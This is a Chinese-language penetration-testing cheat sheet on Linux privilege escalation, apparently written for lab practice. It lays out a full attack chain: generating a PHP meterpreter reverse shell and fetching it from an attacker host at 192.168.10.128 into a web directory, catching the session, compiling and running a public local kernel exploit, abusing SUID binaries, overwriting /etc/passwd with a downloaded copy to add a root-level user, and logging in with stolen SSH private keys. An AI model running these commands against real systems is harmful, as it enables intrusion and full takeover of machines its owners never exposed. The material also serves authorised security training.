metasploit linux提权
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f raw > ./shell.php
file_put_contents('../tmp/msf.php',file_get_contents('http://192.168.10.128/shell.php'));
msfconsole
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.10.128
set lport 12345
exploit
//访问shell.php文件时就会获取一个session
shell
提权命令
使用模块查询漏洞
run post/multi/recon/local_exploit_suggester
getuid 查看当前用户
shell 使用终端
https://www.exploit-db.com/exploits/37292
gcc 37292.c -o exp
chmod +x exp
./exp
SUID提权
SUID是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行 时,使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限,那么 该执行程序运行的时候将拥有ROOT权限。
chmod 4750 a.txt
4 说明 SUID 位被设置
SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限(仅对拥有执行权限的二进制程序有效)。例如,所有用户都可以执行passwd命令来修改自己的用户密码,而用户密码保存在/etc/shadow文件中。仔细查看这个文件就会发现它的默认权限是000,也就是说除了root管理员以外,所有用户都没有查看或编辑该文件的权限。但是,在使用passwd命令时如果加上SUID特殊权限位,就可让普通用户临时获得程序所有者的身份,把变更的密码信息写入到shadow文件中。
ls -al /etc/shadow
-rw-r-----
ls -al /bin/passwd
-rwsr-xr-x
查找SUID文件
以下命令可以发现系统上运行的所有SUID可执行文件
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \;
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
常见suid提权文件
nmap vim find more less bash cp Nano mv awk man wgets
https://gtfobins.github.io/
sudo install -m =xs $(which less) .
./less file_to_read
passwd提权
ls -al /etc/passwd
-rw-rw-rw-- 1 cc cc 2242 7月 13 11:23 /etc/passwd #这里要求至少有w权限
root:x:0:0:root:/root:/bin/bash
openssl passwd -1 -salt coleak a123
$1$coleak$ryLF7yBUFqHmhDrl7czEK1
coleak:$1$coleak$ryLF7yBUFqHmhDrl7czEK1:0:0:/root:/bin/bash
wget http://192.168.10.128/a -O /etc/passwd
ssh coleak@192.168.10.157 #su coleak
ssh密钥提权
查看拥有bash的用户
cat /etc/passwd | grep bash
find / -name authorized_keys -type f 2>/dev/null
cd /home/webper/.ssh
.ssh下文件含义
id_rsa(私钥)服务器上经过rsa算法生成的私钥。与公钥是一对的密钥对,用于连接其他服务器用。
id_rsa.pub(公钥)服务器上经过rsa算法生成的公钥。与私钥是一对的密钥对,用于连接其他服务器用。将主机A的id_rsa.pub内容copy到B主机的authorized_keys文件中,这样A主机就能不通过密码连接到B主机。
authorized_keys(授权文件)实现真正无密码连接,即为授权文件,当把master的公钥添加到authorized_keys文件中后,下次连接直接输入ssh master即可,不需要再次输入密码。
如果目标有使用id_rsa私钥
进行登陆,并且我们有权限读取
可以将id_rsa下载或复制下来使用私钥进行登陆
md5sum id_rsa.pub
md5sum authorized_keys
chmod 600 id_rsa
ssh -i id_rsa web1@192.168.10.153